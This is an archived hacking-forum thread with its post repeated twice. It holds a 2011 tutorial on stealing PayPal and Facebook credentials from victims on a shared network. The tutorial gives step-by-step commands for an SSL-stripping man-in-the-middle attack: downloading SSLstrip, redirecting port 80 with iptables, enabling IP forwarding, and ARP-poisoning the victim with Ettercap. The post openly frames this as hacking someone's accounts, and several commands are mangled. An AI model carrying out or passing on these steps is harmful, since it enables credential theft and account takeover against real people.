+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: Sniffing(Redirecting) hack paypal,facebook, etc... (/Thread-Sniffing-Redirecting-hack-paypal-facebook-etc)
Sniffing(Redirecting) hack paypal,facebook, etc... - KaiT_AleX - 07-21-2011
IN this tutorial i will show you how to hack someones paypal or facebook with sniffing..
You must have a BackTrack 4 (i'm not sure it will works on BT 5 BUT try it)
Start
- - - - - - - - - - - - - - - - -
First off all you must download and extract SSLstrip
Open Terminal and type :
Quote:wget http://smormedia.gavagai.nl/dist/sslstrip/sslstrip-0.7.tar.gz tar zxvf sslstrip-0
Then we must forward a HTTPS for port 80 to port 10000
Now we type:
Quote:sudo iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –too -port 10000
Check the NET table to see if it is enabled forwarding, type:
Quote:sudo iptables –list -t nat
The you must Enable forwarding :
Quote:sudo echo “1? > /proc/sys/net/ipv4/ip_forward
Check if it is enabled :
Quote:sudo cat /proc/sys/net/ipv4/ip_forward (you must get "1" in the end
Control of logs :
sudo tail -F sslstrip.log
- - - - - - - - - - - - - - - - - - - - -
You must open the seconds Terminal and type this :
sudo ettercap -G -w ~/ettercap_packets.pcap
Insert "United Sniffing"
Sniff -> Unified sniffing
First step :
![[Image: ettercap_sniff.png]](http://techsump.files.wordpress.com/2011/05/ettercap_sniff.png)
Second step:
![[Image: ettercap_interface.png]](http://techsump.files.wordpress.com/2011/05/ettercap_interface.png)
Change it on " wlan0 "
Third step:
![[Image: ettercap_hosts.png]](http://techsump.files.wordpress.com/2011/05/ettercap_hosts.png)
Then you must to scan the hosts.
See the list of hosts:
Hosts--> Host list
- - - - - - - - - - - - - - - -
You must select your victims IP and the IP of the sites :
Select the Victim’s IP address -> Add to Target 1
Select the Default Gateway / Access Point’s IP address -> Add to Target 2
Check the victims :
Targets -> Current Targets
ARP poisoning victis:
Mitm -> ARP Poisoning
Now you must open some SSL on vitims PC and select the site:
I like to use a www.paypal.com, but you can use some other ...
When vicitims loged on on that site you will get the info in you SSLStrip packer !!
That's all..
Sorry for my bad English, if i make some mistakes...
#################################################
#################~Tut by KaiT_AleX~##################
#################################################
Sniffing(Redirecting) hack paypal,facebook, etc... - KaiT_AleX - 07-21-2011
IN this tutorial i will show you how to hack someones paypal or facebook with sniffing..
You must have a BackTrack 4 (i'm not sure it will works on BT 5 BUT try it)
Start
- - - - - - - - - - - - - - - - -
First off all you must download and extract SSLstrip
Open Terminal and type :
Quote:wget http://smormedia.gavagai.nl/dist/sslstrip/sslstrip-0.7.tar.gz tar zxvf sslstrip-0
Then we must forward a HTTPS for port 80 to port 10000
Now we type:
Quote:sudo iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –too -port 10000
Check the NET table to see if it is enabled forwarding, type:
Quote:sudo iptables –list -t nat
The you must Enable forwarding :
Quote:sudo echo “1? > /proc/sys/net/ipv4/ip_forward
Check if it is enabled :
Quote:sudo cat /proc/sys/net/ipv4/ip_forward (you must get "1" in the end
Control of logs :
sudo tail -F sslstrip.log
- - - - - - - - - - - - - - - - - - - - -
You must open the seconds Terminal and type this :
sudo ettercap -G -w ~/ettercap_packets.pcap
Insert "United Sniffing"
Sniff -> Unified sniffing
First step :
Second step:
Change it on " wlan0 "
Third step:
Then you must to scan the hosts.
See the list of hosts:
Hosts--> Host list
- - - - - - - - - - - - - - - -
You must select your victims IP and the IP of the sites :
Select the Victim’s IP address -> Add to Target 1
Select the Default Gateway / Access Point’s IP address -> Add to Target 2
Check the victims :
Targets -> Current Targets
ARP poisoning victis:
Mitm -> ARP Poisoning
Now you must open some SSL on vitims PC and select the site:
I like to use a www.paypal.com, but you can use some other ...
When vicitims loged on on that site you will get the info in you SSLStrip packer !!
That's all..
Sorry for my bad English, if i make some mistakes...
#################################################
#################~Tut by KaiT_AleX~##################
#################################################